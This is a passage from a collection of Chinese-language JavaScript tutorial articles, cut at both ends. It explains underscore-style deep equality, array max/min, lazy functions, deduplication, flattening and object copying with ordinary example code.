!== +b; return +a === 0 ? 1 / +a === 1 / b : +a === +b; case '[object Date]': case '[object Boolean]': return +a === +b; } // 其他判断 } ``` ## 构造函数实例 我们看个例子: ```js function Person() { this.name = name; } function Animal() { this.name = name } var person = new Person('Kevin'); var animal = new Animal('Kevin'); eq(person, animal) // ??? ``` 虽然 `person` 和 `animal` 都是 `{name: 'Kevin'}`,但是 `person` 和 `animal` 属于不同构造函数的实例,为了做出区分,我们认为是不同的对象。 如果两个对象所属的构造函数对象不同,两个对象就一定不相等吗? 并不一定,我们再举个例子: ```js var attrs = Object.create(null); attrs.name = "Bob"; eq(attrs, {name: "Bob"}); // ??? ``` 尽管 `attrs` 没有原型,`{name: "Bob"}` 的构造函数是 `Object`,但是在实际应用中,只要他们有着相同的键值对,我们依然认为是相等。 从函数设计的角度来看,我们不应该让他们相等,但是从实践的角度,我们让他们相等,所以相等就是一件如此随意的事情吗?!对啊,我也在想:undersocre,你怎么能如此随意呢!!! 哎,吐槽完了,我们还是要接着写这个相等函数,我们可以先做个判断,对于不同构造函数下的实例直接返回 false。 ```js function isFunction(obj) { return toString.call(obj) === '[object Function]' } function deepEq(a, b) { // 接着上面的内容 var areArrays = className === '[object Array]'; // 不是数组 if (!areArrays) { // 过滤掉两个函数的情况 if (typeof a != 'object' || typeof b != 'object') return false; var aCtor = a.constructor, bCtor = b.constructor; // aCtor 和 bCtor 必须都存在并且都不是 Object 构造函数的情况下,aCtor 不等于 bCtor, 那这两个对象就真的不相等啦 if (aCtor == bCtor && !(isFunction(aCtor) && aCtor instanceof aCtor && isFunction(bCtor) && bCtor instanceof bCtor) && ('constructor' in a && 'constructor' in b)) { return false; } } // 下面还有好多判断 } ``` ## 数组相等 现在终于可以进入我们期待已久的数组和对象的判断,不过其实这个很简单,就是递归遍历一遍…… ```js function deepEq(a, b) { // 再接着上面的内容 if (areArrays) { length = a.length; if (length !== b.length) return false; while (length--) { if (!eq(a[length], b[length])) return false; } } else { var keys = Object.keys(a), key; length = keys.length; if (Object.keys(b).length !== length) return false; while (length--) { key = keys[length]; if (!(b.hasOwnProperty(key) && eq(a[key], b[key]))) return false; } } return true; } ``` ## 循环引用 如果觉得这就结束了,简直是太天真,因为最难的部分才终于要开始,这个问题就是循环引用! 举个简单的例子: ```js a = {abc: null}; b = {abc: null}; a.abc = a; b.abc = b; eq(a, b) ``` 再复杂一点的,比如: ```js a = {foo: {b: {foo: {c: {foo: null}}}}}; b = {foo: {b: {foo: {c: {foo: null}}}}}; a.foo.b.foo.c.foo = a; b.foo.b.foo.c.foo = b; eq(a, b) ``` 为了给大家演示下循环引用,大家可以把下面这段已经精简过的代码复制到浏览器中尝试: ```js // demo var a, b; a = { foo: { b: { foo: { c: { foo: null } } } } }; b = { foo: { b: { foo: { c: { foo: null } } } } }; a.foo.b.foo.c.foo = a; b.foo.b.foo.c.foo = b; function eq(a, b, aStack, bStack) { if (typeof a == 'number') { return a === b; } return deepEq(a, b) } function deepEq(a, b) { var keys = Object.keys(a); var length = keys.length; var key; while (length--) { key = keys[length] // 这是为了让你看到代码其实一直在执行 console.log(a[key], b[key]) if (!eq(a[key], b[key])) return false; } return true; } eq(a, b) ``` 嗯,以上的代码是死循环。 那么,我们又该如何解决这个问题呢?underscore 的思路是 eq 的时候,多传递两个参数为 aStack 和 bStack,用来储存 a 和 b 递归比较过程中的 a 和 b 的值,咋说的这么绕口呢? 我们直接看个精简的例子: ```js var a, b; a = { foo: { b: { foo: { c: { foo: null } } } } }; b = { foo: { b: { foo: { c: { foo: null } } } } }; a.foo.b.foo.c.foo = a; b.foo.b.foo.c.foo = b; function eq(a, b, aStack, bStack) { if (typeof a == 'number') { return a === b; } return deepEq(a, b, aStack, bStack) } function deepEq(a, b, aStack, bStack) { aStack = aStack || []; bStack = bStack || []; var length = aStack.length; while (length--) { if (aStack[length] === a) { return bStack[length] === b; } } aStack.push(a); bStack.push(b); var keys = Object.keys(a); var length = keys.length; var key; while (length--) { key = keys[length] console.log(a[key], b[key], aStack, bStack) if (!eq(a[key], b[key], aStack, bStack)) return false; } // aStack.pop(); // bStack.pop(); return true; } console.log(eq(a, b)) ``` 之所以注释掉 `aStack.pop()`和`bStack.pop()`这两句,是为了方便大家查看 aStack bStack的值。 ## 最终的 eq 函数 最终的代码如下: ```js var toString = Object.prototype.toString; function isFunction(obj) { return toString.call(obj) === '[object Function]' } function eq(a, b, aStack, bStack) { // === 结果为 true 的区别出 +0 和 -0 if (a === b) return a !== 0 || 1 / a === 1 / b; // typeof null 的结果为 object ,这里做判断,是为了让有 null 的情况尽早退出函数 if (a == null || b == null) return false; // 判断 NaN if (a !== a) return b !== b; // 判断参数 a 类型,如果是基本类型,在这里可以直接返回 false var type = typeof a; if (type !== 'function' && type !== 'object' && typeof b != 'object') return false; // 更复杂的对象使用 deepEq 函数进行深度比较 return deepEq(a, b, aStack, bStack); }; function deepEq(a, b, aStack, bStack) { // a 和 b 的内部属性 [[class]] 相同时 返回 true var className = toString.call(a); if (className !== toString.call(b)) return false; switch (className) { case '[object RegExp]': case '[object String]': return '' + a === '' + b; case '[object Number]': if (+a !== +a) return +b !== +b; return +a === 0 ? 1 / +a === 1 / b : +a === +b; case '[object Date]': case '[object Boolean]': return +a === +b; } var areArrays = className === '[object Array]'; // 不是数组 if (!areArrays) { // 过滤掉两个函数的情况 if (typeof a != 'object' || typeof b != 'object') return false; var aCtor = a.constructor, bCtor = b.constructor; // aCtor 和 bCtor 必须都存在并且都不是 Object 构造函数的情况下,aCtor 不等于 bCtor, 那这两个对象就真的不相等啦 if (aCtor == bCtor && !(isFunction(aCtor) && aCtor instanceof aCtor && isFunction(bCtor) && bCtor instanceof bCtor) && ('constructor' in a && 'constructor' in b)) { return false; } } aStack = aStack || []; bStack = bStack || []; var length = aStack.length; // 检查是否有循环引用的部分 while (length--) { if (aStack[length] === a) { return bStack[length] === b; } } aStack.push(a); bStack.push(b); // 数组判断 if (areArrays) { length = a.length; if (length !== b.length) return false; while (length--) { if (!eq(a[length], b[length], aStack, bStack)) return false; } } // 对象判断 else { var keys = Object.keys(a), key; length = keys.length; if (Object.keys(b).length !== length) return false; while (length--) { key = keys[length]; if (!(b.hasOwnProperty(key) && eq(a[key], b[key], aStack, bStack))) return false; } } aStack.pop(); bStack.pop(); return true; } console.log(eq(0, 0)) // true console.log(eq(0, -0)) // false console.log(eq(NaN, NaN)); // true console.log(eq(Number(NaN), Number(NaN))); // true console.log(eq('Curly', new String('Curly'))); // true console.log(eq([1], [1])); // true console.log(eq({ value: 1 }, { value: 1 })); // true var a, b; a = { foo: { b: { foo: { c: { foo: null } } } } }; b = { foo: { b: { foo: { c: { foo: null } } } } }; a.foo.b.foo.c.foo = a; b.foo.b.foo.c.foo = b; console.log(eq(a, b)) // true ``` 真让人感叹一句:eq 不愧是 underscore 中实现代码行数最多的函数了! ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之如何求数组的最大值和最小值.md ================================================ # JavaScript专题之如何求数组的最大值和最小值 ## 前言 取出数组中的最大值或者最小值是开发中常见的需求,但你能想出几种方法来实现这个需求呢? ## Math.max JavaScript 提供了 Math.max 函数返回一组数中的最大值,用法是: ```js Math.max([value1[,value2, ...]]) ``` 值得注意的是: 1. 如果有任一参数不能被转换为数值,则结果为 NaN。 2. max 是 Math 的静态方法,所以应该像这样使用:Math.max(),而不是作为 Math 实例的方法 (简单的来说,就是不使用 new ) 3. 如果没有参数,则结果为 `-Infinity` (注意是负无穷大) 而我们需要分析的是: 1.如果任一参数不能被转换为数值,这就意味着如果参数可以被转换成数字,就是可以进行比较的,比如: ```js Math.max(true, 0) // 1 Math.max(true, '2', null) // 2 Math.max(1, undefined) // NaN Math.max(1, {}) // NaN ``` 2.如果没有参数,则结果为 -Infinity,对应的,Math.min 函数,如果没有参数,则结果为 Infinity,所以: ```js var min = Math.min(); var max = Math.max(); console.log(min > max); ``` 了解了 Math.max 方法,我们以求数组最大值的为例,思考有哪些方法可以实现这个需求。 ## 原始方法 最最原始的方法,莫过于循环遍历一遍: ```js var arr = [6, 4, 1, 8, 2, 11, 23]; var result = arr[0]; for (var i = 1; i < arr.length; i++) { result = Math.max(result, arr[i]); } console.log(result); ``` ## reduce 既然是通过遍历数组求出一个最终值,那么我们就可以使用 reduce 方法: ```js var arr = [6, 4, 1, 8, 2, 11, 23]; function max(prev, next) { return Math.max(prev, next); } console.log(arr.reduce(max)); ``` ## 排序 如果我们先对数组进行一次排序,那么最大值就是最后一个值: ```js var arr = [6, 4, 1, 8, 2, 11, 23]; arr.sort(function(a,b){return a - b;}); console.log(arr[arr.length - 1]) ``` ## eval Math.max 支持传多个参数来进行比较,那么我们如何将一个数组转换成参数传进 Math.max 函数呢?eval 便是一种 ```js var arr = [6, 4, 1, 8, 2, 11, 23]; var max = eval("Math.max(" + arr + ")"); console.log(max) ``` ## apply 使用 apply 是另一种。 ```js var arr = [6, 4, 1, 8, 2, 11, 23]; console.log(Math.max.apply(null, arr)) ``` ## ES6 ... 使用 ES6 的扩展运算符: ```js var arr = [6, 4, 1, 8, 2, 11, 23]; console.log(Math.max(...arr)) ``` 有更多的方法欢迎留言哈~ ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之惰性函数.md ================================================ # JavaScript专题之惰性函数 ## 需求 我们现在需要写一个 foo 函数,这个函数返回首次调用时的 Date 对象,注意是首次。 ## 解决一:普通方法 ```js var t; function foo() { if (t) return t; t = new Date() return t; } ``` 问题有两个,一是污染了全局变量,二是每次调用 foo 的时候都需要进行一次判断。 ## 解决二:闭包 我们很容易想到用闭包避免污染全局变量。 ```js var foo = (function() { var t; return function() { if (t) return t; t = new Date(); return t; } })(); ``` 然而还是没有解决调用时都必须进行一次判断的问题。 ## 解决三:函数对象 函数也是一种对象,利用这个特性,我们也可以解决这个问题。 ```js function foo() { if (foo.t) return foo.t; foo.t = new Date(); return foo.t; } ``` 依旧没有解决调用时都必须进行一次判断的问题。 ## 解决四:惰性函数 不错,惰性函数就是解决每次都要进行判断的这个问题,解决原理很简单,重写函数。 ```js var foo = function() { var t = new Date(); foo = function() { return t; }; return foo(); }; ``` ## 更多应用 DOM 事件添加中,为了兼容现代浏览器和 IE 浏览器,我们需要对浏览器环境进行一次判断: ```js // 简化写法 function addEvent (type, el, fn) { if (window.addEventListener) { el.addEventListener(type, fn, false); } else if(window.attachEvent){ el.attachEvent('on' + type, fn); } } ``` 问题在于我们每当使用一次 addEvent 时都会进行一次判断。 利用惰性函数,我们可以这样做: ```js function addEvent (type, el, fn) { if (window.addEventListener) { addEvent = function (type, el, fn) { el.addEventListener(type, fn, false); } } else if(window.attachEvent){ addEvent = function (type, el, fn) { el.attachEvent('on' + type, fn); } } } ``` 当然我们也可以使用闭包的形式: ```js var addEvent = (function(){ if (window.addEventListener) { return function (type, el, fn) { el.addEventListener(type, fn, false); } } else if(window.attachEvent){ return function (type, el, fn) { el.attachEvent('on' + type, fn); } } })(); ``` 当我们每次都需要进行条件判断,其实只需要判断一次,接下来的使用方式都不会发生改变的时候,想想是否可以考虑使用惰性函数。 ## 重要参考 [Lazy Function Definition Pattern](http://peter.michaux.ca/articles/lazy-function-definition-pattern) ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之数组去重.md ================================================ # JavaScript专题之数组去重 ## 前言 数组去重方法老生常谈,既然是常谈,我也来谈谈。 ## 双层循环 也许我们首先想到的是使用 indexOf 来循环判断一遍,但在这个方法之前,让我们先看看最原始的方法: ```js var array = [1, 1, '1', '1']; function unique(array) { // res用来存储结果 var res = []; for (var i = 0, arrayLen = array.length; i < arrayLen; i++) { for (var j = 0, resLen = res.length; j < resLen; j++ ) { if (array[i] === res[j]) { break; } } // 如果array[i]是唯一的,那么执行完循环,j等于resLen if (j === resLen) { res.push(array[i]) } } return res; } console.log(unique(array)); // [1, "1"] ``` 在这个方法中,我们使用循环嵌套,最外层循环 array,里面循环 res,如果 array[i] 的值跟 res[j] 的值相等,就跳出循环,如果都不等于,说明元素是唯一的,这时候 j 的值就会等于 res 的长度,根据这个特点进行判断,将值添加进 res。 看起来很简单吧,之所以要讲一讲这个方法,是因为——————兼容性好! ## indexOf 我们可以用 indexOf 简化内层的循环: ```js var array = [1, 1, '1']; function unique(array) { var res = []; for (var i = 0, len = array.length; i < len; i++) { var current = array[i]; if (res.indexOf(current) === -1) { res.push(current) } } return res; } console.log(unique(array)); ``` ## 排序后去重 试想我们先将要去重的数组使用 sort 方法排序后,相同的值就会被排在一起,然后我们就可以只判断当前元素与上一个元素是否相同,相同就说明重复,不相同就添加进 res,让我们写个 demo: ```js var array = [1, 1, '1']; function unique(array) { var res = []; var sortedArray = array.concat().sort(); var seen; for (var i = 0, len = sortedArray.length; i < len; i++) { // 如果是第一个元素或者相邻的元素不相同 if (!i || seen !== sortedArray[i]) { res.push(sortedArray[i]) } seen = sortedArray[i]; } return res; } console.log(unique(array)); ``` 如果我们对一个已经排好序的数组去重,这种方法效率肯定高于使用 indexOf。 ## unique API 知道了这两种方法后,我们可以去尝试写一个名为 unique 的工具函数,我们根据一个参数 isSorted 判断传入的数组是否是已排序的,如果为 true,我们就判断相邻元素是否相同,如果为 false,我们就使用 indexOf 进行判断 ```js var array1 = [1, 2, '1', 2, 1]; var array2 = [1, 1, '1', 2, 2]; // 第一版 function unique(array, isSorted) { var res = []; var seen = []; for (var i = 0, len = array.length; i < len; i++) { var value = array[i]; if (isSorted) { if (!i || seen !== value) { res.push(value) } seen = value; } else if (res.indexOf(value) === -1) { res.push(value); } } return res; } console.log(unique(array1)); // [1, 2, "1"] console.log(unique(array2, true)); // [1, "1", 2] ``` ## 优化 尽管 unqique 已经可以试下去重功能,但是为了让这个 API 更加强大,我们来考虑一个需求: 新需求:字母的大小写视为一致,比如'a'和'A',保留一个就可以了! 虽然我们可以先处理数组中的所有数据,比如将所有的字母转成小写,然后再传入unique函数,但是有没有方法可以省掉处理数组的这一遍循环,直接就在去重的循环中做呢?让我们去完成这个需求: ```js var array3 = [1, 1, 'a', 'A', 2, 2]; // 第二版 // iteratee 英文释义:迭代 重复 function unique(array, isSorted, iteratee) { var res = []; var seen = []; for (var i = 0, len = array.length; i < len; i++) { var value = array[i]; var computed = iteratee ? iteratee(value, i, array) : value; if (isSorted) { if (!i || seen !== value) { res.push(value) } seen = value; } else if (iteratee) { if (seen.indexOf(computed) === -1) { seen.push(computed); res.push(value); } } else if (res.indexOf(value) === -1) { res.push(value); } } return res; } console.log(unique(array3, false, function(item){ return typeof item == 'string' ? item.toLowerCase() : item })); // [1, "a", 2] ``` 在这一版也是最后一版的实现中,函数传递三个参数: array:表示要去重的数组,必填 isSorted:表示函数传入的数组是否已排过序,如果为 true,将会采用更快的方法进行去重 iteratee:传入一个函数,可以对每个元素进行重新的计算,然后根据处理的结果进行去重 至此,我们已经仿照着 underscore 的思路写了一个 unique 函数,具体可以查看 [Github](https://github.com/jashkenas/underscore/blob/master/underscore.js#L562)。 ## filter ES5 提供了 filter 方法,我们可以用来简化外层循环: 比如使用 indexOf 的方法: ```js var array = [1, 2, 1, 1, '1']; function unique(array) { var res = array.filter(function(item, index, array){ return array.indexOf(item) === index; }) return res; } console.log(unique(array)); ``` 排序去重的方法: ```js var array = [1, 2, 1, 1, '1']; function unique(array) { return array.concat().sort().filter(function(item, index, array){ return !index || item !== array[index - 1] }) } console.log(unique(array)); ``` ## Object 键值对 去重的方法众多,尽管我们已经跟着 underscore 写了一个 unqiue API,但是让我们看看其他的方法拓展下视野: 这种方法是利用一个空的 Object 对象,我们把数组的值存成 Object 的 key 值,比如 Object[value1] = true,在判断另一个值的时候,如果 Object[value2]存在的话,就说明该值是重复的。示例代码如下: ```js var array = [1, 2, 1, 1, '1']; function unique(array) { var obj = {}; return array.filter(function(item, index, array){ return obj.hasOwnProperty(item) ? false : (obj[item] = true) }) } console.log(unique(array)); // [1, 2] ``` 我们可以发现,是有问题的,因为 1 和 '1' 是不同的,但是这种方法会判断为同一个值,这是因为对象的键值只能是字符串,所以我们可以使用 `typeof item + item` 拼成字符串作为 key 值来避免这个问题: ```js var array = [1, 2, 1, 1, '1']; function unique(array) { var obj = {}; return array.filter(function(item, index, array){ return obj.hasOwnProperty(typeof item + item) ? false : (obj[typeof item + item] = true) }) } console.log(unique(array)); // [1, 2, "1"] ``` 然而,即便如此,我们依然无法正确区分出两个对象,比如 {value: 1} 和 {value: 2},因为 `typeof item + item` 的结果都会是 `object[object Object]`,不过我们可以使用 JSON.stringify 将对象序列化: ```js var array = [{value: 1}, {value: 1}, {value: 2}]; function unique(array) { var obj = {}; return array.filter(function(item, index, array){ console.log(typeof item + JSON.stringify(item)) return obj.hasOwnProperty(typeof item + JSON.stringify(item)) ? false : (obj[typeof item + JSON.stringify(item)] = true) }) } console.log(unique(array)); // [{value: 1}, {value: 2}] ``` ## ES6 随着 ES6 的到来,去重的方法又有了进展,比如我们可以使用 Set 和 Map 数据结构,以 Set 为例,ES6 提供了新的数据结构 Set。它类似于数组,但是成员的值都是唯一的,没有重复的值。 是不是感觉就像是为去重而准备的?让我们来写一版: ```js var array = [1, 2, 1, 1, '1']; function unique(array) { return Array.from(new Set(array)); } console.log(unique(array)); // [1, 2, "1"] ``` 甚至可以再简化下: ```js function unique(array) { return [...new Set(array)]; } ``` 还可以再简化下: ```js var unique = (a) => [...new Set(a)] ``` 此外,如果用 Map 的话: ```js function unique (arr) { const seen = new Map() return arr.filter((a) => !seen.has(a) && seen.set(a, 1)) } ``` ## JavaScript 的进化 我们可以看到,去重方法从原始的 14 行代码到 ES6 的 1 行代码,其实也说明了 JavaScript 这门语言在不停的进步,相信以后的开发也会越来越高效。 ## 特殊类型比较 去重的方法就到此结束了,然而要去重的元素类型可能是多种多样,除了例子中简单的 1 和 '1' 之外,其实还有 null、undefined、NaN、对象等,那么对于这些元素,之前的这些方法的去重结果又是怎样呢? 在此之前,先让我们先看几个例子: ```js var str1 = '1'; var str2 = new String('1'); console.log(str1 == str2); // true console.log(str1 === str2); // false console.log(null == null); // true console.log(null === null); // true console.log(undefined == undefined); // true console.log(undefined === undefined); // true console.log(NaN == NaN); // false console.log(NaN === NaN); // false console.log(/a/ == /a/); // false console.log(/a/ === /a/); // false console.log({} == {}); // false console.log({} === {}); // false ``` 那么,对于这样一个数组 ```js var array = [1, 1, '1', '1', null, null, undefined, undefined, new String('1'), new String('1'), /a/, /a/, NaN, NaN]; ``` 以上各种方法去重的结果到底是什么样的呢? 我特地整理了一个列表,我们重点关注下对象和 NaN 的去重情况:
方法 结果 说明
for循环 [1, "1", null, undefined, String, String, /a/, /a/, NaN, NaN] 对象和 NaN 不去重
indexOf [1, "1", null, undefined, String, String, /a/, /a/, NaN, NaN] 对象和 NaN 不去重
sort [/a/, /a/, "1", 1, String, 1, String, NaN, NaN, null, undefined] 对象和 NaN 不去重 数字 1 也不去重
filter + indexOf [1, "1", null, undefined, String, String, /a/, /a/] 对象不去重 NaN 会被忽略掉
filter + sort [/a/, /a/, "1", 1, String, 1, String, NaN, NaN, null, undefined] 对象和 NaN 不去重 数字 1 不去重
优化后的键值对方法 [1, "1", null, undefined, String, /a/, NaN] 全部去重
Set [1, "1", null, undefined, String, String, /a/, /a/, NaN] 对象不去重 NaN 去重
想了解为什么会出现以上的结果,看两个 demo 便能明白: ```js // demo1 var arr = [1, 2, NaN]; arr.indexOf(NaN); // -1 ``` indexOf 底层还是使用 === 进行判断,因为 NaN ==== NaN的结果为 false,所以使用 indexOf 查找不到 NaN 元素 ```js // demo2 function unique(array) { return Array.from(new Set(array)); } console.log(unique([NaN, NaN])) // [NaN] ``` Set 认为尽管 NaN === NaN 为 false,但是这两个元素是重复的。 ## 写在最后 虽然去重的结果有所不同,但更重要的是让我们知道在合适的场景要选择合适的方法。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之数组扁平化.md ================================================ # JavaScript专题之数组扁平化 ## 扁平化 数组的扁平化,就是将一个嵌套多层的数组 array (嵌套可以是任何层数)转换为只有一层的数组。 举个例子,假设有个名为 flatten 的函数可以做到数组扁平化,效果就会如下: ```js var arr = [1, [2, [3, 4]]]; console.log(flatten(arr)) // [1, 2, 3, 4] ``` 知道了效果是什么样的了,我们可以去尝试着写这个 flatten 函数了 ## 递归 我们最一开始能想到的莫过于循环数组元素,如果还是一个数组,就递归调用该方法: ```js // 方法 1 var arr = [1, [2, [3, 4]]]; function flatten(arr) { var result = []; for (var i = 0, len = arr.length; i < len; i++) { if (Array.isArray(arr[i])) { result = result.concat(flatten(arr[i])) } else { result.push(arr[i]) } } return result; } console.log(flatten(arr)) ``` ## toString 如果数组的元素都是数字,那么我们可以考虑使用 toString 方法,因为: ```js [1, [2, [3, 4]]].toString() // "1,2,3,4" ``` 调用 toString 方法,返回了一个逗号分隔的扁平的字符串,这时候我们再 split,然后转成数字不就可以实现扁平化了吗? ```js // 方法2 var arr = [1, [2, [3, 4]]]; function flatten(arr) { return arr.toString().split(',').map(function(item){ return +item }) } console.log(flatten(arr)) ``` 然而这种方法使用的场景却非常有限,如果数组是 [1, '1', 2, '2'] 的话,这种方法就会产生错误的结果。 ## reduce 既然是对数组进行处理,最终返回一个值,我们就可以考虑使用 reduce 来简化代码: ```js // 方法3 var arr = [1, [2, [3, 4]]]; function flatten(arr) { return arr.reduce(function(prev, next){ return prev.concat(Array.isArray(next) ? flatten(next) : next) }, []) } console.log(flatten(arr)) ``` ## ... ES6 增加了扩展运算符,用于取出参数对象的所有可遍历属性,拷贝到当前对象之中: ```js var arr = [1, [2, [3, 4]]]; console.log([].concat(...arr)); // [1, 2, [3, 4]] ``` 我们用这种方法只可以扁平一层,但是顺着这个方法一直思考,我们可以写出这样的方法: ```js // 方法4 var arr = [1, [2, [3, 4]]]; function flatten(arr) { while (arr.some(item => Array.isArray(item))) { arr = [].concat(...arr); } return arr; } console.log(flatten(arr)) ``` ## undercore 那么如何写一个抽象的扁平函数,来方便我们的开发呢,所有又到了我们抄袭 underscore 的时候了~ 在这里直接给出源码和注释,但是要注意,这里的 flatten 函数并不是最终的 _.flatten,为了方便多个 API 进行调用,这里对扁平进行了更多的配置。 ```js /** * 数组扁平化 * @param {Array} input 要处理的数组 * @param {boolean} shallow 是否只扁平一层 * @param {boolean} strict 是否严格处理元素,下面有解释 * @param {Array} output 这是为了方便递归而传递的参数 * 源码地址:https://github.com/jashkenas/underscore/blob/master/underscore.js#L528 */ function flatten(input, shallow, strict, output) { // 递归使用的时候会用到output output = output || []; var idx = output.length; for (var i = 0, len = input.length; i < len; i++) { var value = input[i]; // 如果是数组,就进行处理 if (Array.isArray(value)) { // 如果是只扁平一层,遍历该数组,依此填入 output if (shallow) { var j = 0, len = value.length; while (j < len) output[idx++] = value[j++]; } // 如果是全部扁平就递归,传入已经处理的 output,递归中接着处理 output else { flatten(value, shallow, strict, output); idx = output.length; } } // 不是数组,根据 strict 的值判断是跳过不处理还是放入 output else if (!strict){ output[idx++] = value; } } return output; } ``` 解释下 strict,在代码里我们可以看出,当遍历数组元素时,如果元素不是数组,就会对 strict 取反的结果进行判断,如果设置 strict 为 true,就会跳过不进行任何处理,这意味着可以过滤非数组的元素,举个例子: ```js var arr = [1, 2, [3, 4]]; console.log(flatten(arr, true, true)); // [3, 4] ``` 那么设置 strict 到底有什么用呢?不急,我们先看下 shallow 和 strct 各种值对应的结果: * shallow true + strict false :正常扁平一层 * shallow false + strict false :正常扁平所有层 * shallow true + strict true :去掉非数组元素 * shallow false + strict true : 返回一个[] 我们看看 underscore 中哪些方法调用了 flatten 这个基本函数: ## _.flatten 首先就是 _.flatten: ```js _.flatten = function(array, shallow) { return flatten(array, shallow, false); }; ``` 在正常的扁平中,我们并不需要去掉非数组元素。 ## _.union 接下来是 _.union: 该函数传入多个数组,然后返回传入的数组的并集, 举个例子: ```js _.union([1, 2, 3], [101, 2, 1, 10], [2, 1]); => [1, 2, 3, 101, 10] ``` 如果传入的参数并不是数组,就会将该参数跳过: ```js _.union([1, 2, 3], [101, 2, 1, 10], 4, 5); => [1, 2, 3, 101, 10] ``` 为了实现这个效果,我们可以将传入的所有数组扁平化,然后去重,因为只能传入数组,这时候我们直接设置 strict 为 true,就可以跳过传入的非数组的元素。 ```js // 关于 unique 可以查看《JavaScript专题之数组去重》[](https://github.com/mqyqingfeng/Blog/issues/27) function unique(array) { return Array.from(new Set(array)); } _.union = function() { return unique(flatten(arguments, true, true)); } ``` ## _.difference 是不是感觉折腾 strict 有点用处了,我们再看一个 _.difference: 语法为: > _.difference(array, *others) 效果是取出来自 array 数组,并且不存在于多个 other 数组的元素。跟 _.union 一样,都会排除掉不是数组的元素。 举个例子: ```js _.difference([1, 2, 3, 4, 5], [5, 2, 10], [4], 3); => [1, 3] ``` 实现方法也很简单,扁平 others 的数组,筛选出 array 中不在扁平化数组中的值: ```js function difference(array, ...rest) { rest = flatten(rest, true, true); return array.filter(function(item){ return rest.indexOf(item) === -1; }) } ``` 注意,以上实现的细节并不是完全按照 underscore,具体细节的实现感兴趣可以[查看源码](https://github.com/jashkenas/underscore/blob/master/underscore.js#L528)。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之深浅拷贝.md ================================================ # JavaScript专题之深浅拷贝 ## 前言 拷贝也是面试经典呐! ## 数组的浅拷贝 如果是数组,我们可以利用数组的一些方法比如:slice、concat 返回一个新数组的特性来实现拷贝。 比如: ```js var arr = ['old', 1, true, null, undefined]; var new_arr = arr.concat(); new_arr[0] = 'new'; console.log(arr) // ["old", 1, true, null, undefined] console.log(new_arr) // ["new", 1, true, null, undefined] ``` 用 slice 可以这样做: ```js var new_arr = arr.slice(); ``` 但是如果数组嵌套了对象或者数组的话,比如: ```js var arr = [{old: 'old'}, ['old']]; var new_arr = arr.concat(); arr[0].old = 'new'; arr[1][0] = 'new'; console.log(arr) // [{old: 'new'}, ['new']] console.log(new_arr) // [{old: 'new'}, ['new']] ``` 我们会发现,无论是新数组还是旧数组都发生了变化,也就是说使用 concat 方法,克隆的并不彻底。 如果数组元素是基本类型,就会拷贝一份,互不影响,而如果是对象或者数组,就会只拷贝对象和数组的引用,这样我们无论在新旧数组进行了修改,两者都会发生变化。 我们把这种复制引用的拷贝方法称之为浅拷贝,与之对应的就是深拷贝,深拷贝就是指完全的拷贝一个对象,即使嵌套了对象,两者也相互分离,修改一个对象的属性,也不会影响另一个。 所以我们可以看出使用 concat 和 slice 是一种浅拷贝。 ## 数组的深拷贝 那如何深拷贝一个数组呢?这里介绍一个技巧,不仅适用于数组还适用于对象!那就是: ```js var arr = ['old', 1, true, ['old1', 'old2'], {old: 1}] var new_arr = JSON.parse( JSON.stringify(arr) ); console.log(new_arr); ``` 是一个简单粗暴的好方法,就是有一个问题,不能拷贝函数,我们做个试验: ```js var arr = [function(){ console.log(a) }, { b: function(){ console.log(b) } }] var new_arr = JSON.parse(JSON.stringify(arr)); console.log(new_arr); ``` 我们会发现 new_arr 变成了: ![不能拷贝函数](https://github.com/mqyqingfeng/Blog/raw/master/Images/copy/copy1.png) ## 浅拷贝的实现 以上三个方法 concat、slice、JSON.stringify 都算是技巧类,可以根据实际项目情况选择使用,接下来我们思考下如何实现一个对象或者数组的浅拷贝。 想一想,好像很简单,遍历对象,然后把属性和属性值都放在一个新的对象不就好了~ 嗯,就是这么简单,注意几个小点就可以了: ```js var shallowCopy = function(obj) { // 只拷贝对象 if (typeof obj !== 'object') return; // 根据obj的类型判断是新建一个数组还是对象 var newObj = 